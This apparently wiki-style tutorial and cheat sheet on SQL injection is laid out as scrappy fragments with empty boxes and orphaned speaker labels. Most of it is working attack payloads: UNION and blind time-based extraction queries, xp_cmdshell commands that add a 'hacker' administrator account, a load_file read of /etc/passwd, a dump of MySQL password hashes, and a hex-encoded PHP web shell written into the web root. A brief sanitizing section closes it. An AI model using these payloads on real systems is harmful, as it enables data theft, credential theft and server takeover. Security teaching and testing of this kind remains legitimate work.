The number of columns can be determined using ORDER BY injection and incrementing a field index, for example:
/article.php?id=1 ORDER BY 1 asc /article.php?id=1 ORDER BY 2 asc Notice:
|
Extracting Data
If we know the number of columns in a table (for example, by using the ORDER BY injection technique), we can use the following injection assuming that there are 2 columns:
/article.php?id=5 UNION ALL SELECT 1,2/* Protip: Sometimes UNION ALL SELECT will not work, but UNION SELECT will, and vice versa. This has to do with the SQL engine and vulnerable web application's programming or SQL queries. Additionally, you may have to set an invalid ID (e.g. -1) to get the data your UNION SELECT returns to display on the page.
|
Intermediate Testing: "SELECT" ... LIMIT clause injections
|
The professor says | ||||||
---|---|---|---|---|---|---|
/view_results.php?start=30&perpage=10
UNION SELECT is the only available method for successful exploitation. We will have to comment out the rest of the query for successful exploitation
The LIMIT clause must be given an impossible starting offset so that no data will be displayed, making room for data returned by the UNION SELECT. The offset will have to be a larger number than the number of rows returned by the query. |
Intermediate Injection: Information retrieval via verbose errors
- Sometimes databases display errors containing selected data even though union select is not an option.
- Sometimes the application will display SQL errors on the page.
- An impossible cast
- A duplicate key in a group by statement
The security analyst says | |
---|---|
When a web application displays its SQL errors, there's a few things we can do to make errors display data along with them. In each of the examples below, the @@database variable or current_database()/database() functions return what we see for error output. These can be replaced with any subquery'd select statement that returns a single cell.
|
Advanced: Manual Boolean Enumeration
Therefore, logic dictates that,
|
There are primarily two methods to using boolean enumeration. One involves selecting a byte from a single-cell of a database and testing for true or false against its character or ascii code, the other involves selecting a single-cell and comparing it with a regular expression.
|
In order to ensure that we maintain data integrity:
|
Using Ascii codes and the ascii() function for enumeration
The ascii() function on any given database engine will return the ascii code for the the character passed to it. If it is passed an entire string, it will return the ascii code for the first character. For example:
|
substring()
- The substring() syntax is:
SUBSTRING([STRING],[POSITION],[LEN]) |
- To select the first character of a string, for example:
SELECT SUBSTRING('abc',1,1); +----------------------+ | SUBSTRING('abc',1,1) | +----------------------+ | a | +----------------------+ 1 ROW IN SET (0.00 sec) |
- To select the second character:
SELECT SUBSTRING('abc',2,1); +----------------------+ | SUBSTRING('abc',2,1) | +----------------------+ | b | +----------------------+ 1 ROW IN SET (0.01 sec) |
Version Fingerprinting with ascii-based enumeration
While boolean enumeration can be used to obtain any type of data, we're using version fingerprinting as our example.
In theory
For our examples we're using the version() function.
Protip: If the version() function fails, try the @@version environment variable instead.
ascii(substring(lower(version()),1,1))
|
In Practice
/vulnerable.ext?id=1 and ascii(substring(lower(version()),1,1)) between 0 and 127 /vulnerable.ext?id=1 and ascii(substring(lower(version()),1,1)) between 128 and 255
|
Using Regular Expressions for Boolean enumeration
Regular expressions is by far the best solution to filtering and sanitizing.
|
Getting started with regular expressions
Patterns:
^ The beginning of a string $ End of a string . Any character * 0 or more of the preceeding character + 1 or more of the preceeding character ? 0 or 1 of the preceeding character Protip: To see if a string starts with a particular letter (we'll use the letter z for our example), we can use the regular expression pattern '^z'. This will ONLY match if the first character of the string is a 'z'.
Ranges and lists:
Pattern | Description [a-z] | Matches only letters a through z [0-9] | Matches only numbers [aeiouy] | Matches vowels. ^a[0-9] | Matches if the first character of the string is `a', only if the second character of the string is a number. |
Version fingerprinting using compatible regular expressions
MS SQL and MySQL now both have the RLIKE regular expression operator.
|
Expert: Timing attacks for automated boolean enumeration
- Timing attacks are typically used by automated software due to the difficulty in reliably determining true/false from data being displayed on the page.
MySQL Boolean Timing Attacks
Mysql's primary functions that can time delay are sleep() and benchmark(). Benchmark() is actually a benchmark utility and executes a given query a number of times based on a BIGINT argument, whereas sleep() is a single query. |
Benchmark() may betray your activities
|
Evasive sleep() based boolean enumeration with regular expressions
|
Testing for the ability to sleep():
%20and%20sleep(15) mysql> SELECT * FROM sample WHERE id=1 AND sleep(15); Empty set (15.00 sec) |
Controlling sleep() for enumeration:
Using cast() to gain control of sleep() with regex:
|
Using sleep() to map a table name with regular expressions
mysql> SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1 offset 0; +------------+ | TABLE_NAME | +------------+ | sample | +------------+ 1 ROW IN SET (0.00 sec)
mysql> SELECT * FROM sample WHERE id=1 AND sleep((SELECT CAST( (SELECT (SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1 offset 0) REGEXP '^[a-m]') AS signed) * 15)); Empty set (0.00 sec)
mysql> SELECT * FROM sample WHERE id=1 AND sleep((SELECT CAST( (SELECT (SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1 offset 0) REGEXP '^[n-z]') AS signed) * 15)); Empty set (15.00 sec)
/vulnerable.ext?id=1 and sleep((select cast((select (select table_name from information_schema.tables where table_schema=database() limit 1 offset 0) regexp 0x5e612d6d) as signed) * 15));
/vulnerable.ext?id=1 and sleep((select cast((select (select table_name from information_schema.tables where table_schema=database() limit 1 offset 0) regexp 0x5e6e2d7a) as signed) * 15)); |
PostgreSQL Boolean Timing Attacks
pg_sleep() is the basis of both single-byte exfiltration and boolean enumeration.
Testing for access to pg_sleep()
AND pg_sleep(15) IS NULL
|
Using pg_sleep() with alternative comparisons for evasive boolean enumeration
You can use BETWEEN ... AND ... as well as the regular expression operators here.
|
Expert: Automated Single-byte exfiltration
There are multiple types of single byte exfiltration attacks:
- Timing based
- Pre-computation based
The only three things that all of these methods have in common is:
- These attacks are all limited in some fashion because of local environment and latency or remote environment and dataset.
- You must retain the use of commas (,); regular expressions will not work here because you are selecting rather than comparing the value of a single byte.
- You must not be afraid of programming.
Timing-based Single-byte Exfiltration
If you're not on a LAN when you utilize this technique, you will get buggy and unpredictable results.
Protip: Single byte exfiltration takes less queries to perform the same results, and leaves a smaller log footprint.
|
The Comparative Precomputation Attack
This attack relies heavily on the remote dataset for successful exploitation and is thus less reliable than other methods. Notice: This significantly differs from previously discovered single-byte exfiltration techniques because:
|
/articles.php?id=1
And we've determined the value of a byte. Protip: You can extend this attack by:
|
Further Penetration
Most demonstrated methods require additional privileges |
Obtaining direct database access
Experience says | ||
---|---|---|
|
Obtaining filesystem access
This will require MySQL, depend on the SQL server configuration as well as the OS configuration, the user in context must have the FILE privilege.
Examples of these are located in our priveleged MySQL cheat sheet. |
Obtaining Code Execution
- Through the vulnerable web application:
It is possible that the administrative interface will contain template and theme editors and the ability to add/modify/delete PHP or other interpreted languages in the associated files. Knowing this is just one more reason to make a beeline for the user table for the affected web application and get to cracking the authentication credentials for the admin user.
- Via database engine (MS SQL-specific)
By ending the query with a semicolon or comment delimiter and beginning a new query, we can get MS SQL to run
;exec master..xp_cmdshell 'net user hacker hacker_password /add' ;exec master..xp_cmdshell 'net localgroup administrators hacker /add' /url.asp?ArticleID=1;exec master..xp_cmdshell 'net user hacker hackerpassword /add';-- /url.asp?ArticleID=1;exec master..xp_cmdshell 'net localgroup administrators hacker /add';--
- Writing a shell to the document root (MySQL-specific)
Cheat Sheets
Vulnerability Testing
Universal True and False Statements
Notice: We've ensured the accuracy of this stuff. If we're missing any universal testing operators, please let us know.
|
MySQL Syntax Reference
- Comment notation:
/* [*/] %23 (# urlencoded) --[space]
- Handy functions, statements, and Environment Variables:
version() USER() current_database() COUNT([column_name]) FROM [TABLE_NAME] LENGTH([column_name]) FROM [TABLE_NAME] [WHERE OR LIMIT] substr([query],[byte_counter],1) concat([column_name],0x2f,[column_name]) FROM [TABLE_NAME] [WHERE OR LIMIT] group_concat([column_name],0x2f,[column_name]) FROM [TABLE_NAME] [WHERE OR LIMIT] |
- You can evade the need for quotes by using the 0x[hex] operator. An example is "select 0x6a6a". The output is "jj", same as if you were to have run "select 'jj'".
Mysql Versions >= 5 User Schema Mapping (Unprivileged)
- Show Databases Equivilent:
SELECT schema_name FROM information_schema.schemata LIMIT 1 offset 0 |
- Show Tables Equivilent
SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1 offset 0 |
- Show Fields Equivilent
SELECT column_name FROM information_schema.columns WHERE table_schema=DATABASE() AND TABLE_NAME=([TABLE query]) LIMIT 1 offset 0 |
Privileged Mysql (Any version) User
- Get mysql usernames and password hashes:
SELECT concat(USER,0x2f,password) FROM mysql.user LIMIT 1 |
- Grab /etc/passwd
SELECT load_file(0x2f6574632f706173737764) |
- Dump a small php shell (<?php system($_GET['id']); ?>) into /var/www/localhost/htdocs
SELECT 0x3c3f7068702073797374656d28245f4745545b276964275d293b203f3e INTO OUTFILE '/var/www/localhost/htdocs/.shell.php' |
PostgreSQL Syntax Reference
current_database() CURRENT_USER() chr() ascii() substr() |
Quick and common string concatenations:
String concatenation in postgresql is done using the two pipe operators side by side, e.g. "select chr(97)||chr(97)" is the same as "select 'aa'".
|
PostgreSQL Schema Mapping
SELECT schema_name FROM information_schema.schemata WHERE catalog_name=current_database() LIMIT 1 offset 0
SELECT TABLE_NAME FROM information_schema.tables table_type='BASE TABLE' AND table_schema=([schema_query]) AND catalog_name=current_database() LIMIT 1 offset 0
SELECT column_name FROM information_schema.columns WHERE TABLE_NAME=([table_query]) AND table_schema=(schema_query) AND catalog_name=current_database() LIMIT 1 offset 0 |
Microsoft SQL Syntax Reference
- Handy functions, statements, and Environment Variables:
database() ascii() substring() WAIT ... FOR DELAY @@version
String concatenation is preformed in Microsoft SQL via the + character. |
Microsoft SQL Schema Mapping (Unprivileged)
SELECT top 1 TABLE_NAME FROM (SELECT top 1 TABLE_NAME FROM information_schema.columns WHERE table_catalog=@@DATABASE GROUP BY TABLE_NAME ORDER BY TABLE_NAME DESC) sq GROUP BY TABLE_NAME ORDER BY TABLE_NAME ASC
SELECT top 1 column_name FROM (SELECT top 1 column_name FROM information_schema.columns WHERE table_catalog=@@DATABASE AND TABLE_NAME='[table_name]' GROUP BY column_name ORDER BY column_name ASC) sq GROUP BY column_name ORDER BY column_name DESC |
Privileged Microsoft SQL Injection
- Command Execution:
;%0a%0dexec master..xp_cmdshell 'net user hacker hackerpassword /add';-- ;%0a%0dexec master..xp_cmdshell 'net localgroup administrators hacker /add';--
- Obtaining database authentication credentials:
SELECT * FROM sysobjects WHERE type='U'
Patching SQL Injection Vulnerabilities
The security analyst says |
---|
Obviously, today's countermeasures just don't cut it." |
- Ruby input sanitizing:
[Sanitizes For] | [Type] | [Engine] | [Example] XSS, SQL Injection | String | Any | var = HTMLEntities.encode(var,:basic:) SQL Injection | String | MySQL | var = Mysql.escape_string(var) SQL Injection | String | PostgreSQL | var = PGconn.escape_string(var) XSS, SQL Injection | Integer | Any | var = var.to_i
- PHP input sanitizing:
[Sanitizes For] | [Type] | [Engine] | [Example] XSS, SQL Injection | String | Any | $var = htmlentities($_GET['var'],ENT_QUOTES); SQL Injection | String | MySQL | $var = mysql_real_escape_string($_GET['var']); SQL Injection | String | PostgreSQL | $var = pg_escape_string($_GET['var']); XSS, SQL Injection | Integer | Any | $var = (int)$_GET['var'];
- Python input sanitizing:
Python2.4 and newer defaults to using prepared statements. Thus, this table only refers to legacy applications built in python versions < 2.4 that require manual sanitizing. |
XSS, SQL Injection | String | Any | var = urllib.urlencode(var) SQL Injection | String | MySQL | var = conn.escape_string(var) SQL Injection | String | PostgreSQL | var = psycopg2.extensions.adapt(var) XSS, SQL Injection | Integer | Any | var = int(var)
|
Further Reading
Related Content:
- SQL Backdoors
- MySQL
- Programming language specifications: Perl,Python,C,C++
Related Tools:
- MySql 5 Enumeration
- Wordpress Fingerprinting
- GScrape - Now updated for SQL injection.
External Links:
SQL injection Visit the Web Exploitation Portal for complete coverage.
|